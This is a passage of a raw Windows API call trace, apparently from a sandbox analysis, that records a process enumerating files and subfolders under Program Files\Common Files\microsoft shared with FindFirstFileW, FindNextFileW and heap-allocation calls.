lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.257] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0214.257] GetProcessHeap () returned 0xc10000 [0214.257] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.257] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0214.257] GetProcessHeap () returned 0xc10000 [0214.257] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.258] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.258] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.258] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.258] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0214.258] GetProcessHeap () returned 0xc10000 [0214.258] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.258] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0214.259] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0214.259] GetProcessHeap () returned 0xc10000 [0214.259] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0214.260] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0214.260] GetProcessHeap () returned 0xc10000 [0214.260] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0214.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.261] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.261] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0214.261] GetProcessHeap () returned 0xc10000 [0214.261] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0214.263] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.263] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0214.263] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0214.263] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0214.263] GetProcessHeap () returned 0xc10000 [0214.263] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.263] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0214.263] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0214.263] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0214.263] GetProcessHeap () returned 0xc10000 [0214.263] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0214.264] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0214.264] GetProcessHeap () returned 0xc10000 [0214.265] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0214.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0214.530] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.530] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0214.542] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0214.556] GetProcessHeap () returned 0xc10000 [0214.556] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0214.558] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.558] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0214.558] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0214.558] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0214.558] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0214.558] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0214.560] GetProcessHeap () returned 0xc10000 [0214.560] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.560] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0214.560] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0214.560] GetProcessHeap () returned 0xc10000 [0214.560] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0214.561] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0214.561] GetProcessHeap () returned 0xc10000 [0214.562] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0214.563] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.563] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.563] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0214.563] GetProcessHeap () returned 0xc10000 [0214.563] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.563] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0214.563] GetProcessHeap () returned 0xc10000 [0214.564] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0214.564] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.564] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0214.564] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0214.564] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0214.564] GetProcessHeap () returned 0xc10000 [0214.564] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.564] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0214.565] GetProcessHeap () returned 0xc10000 [0214.565] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, 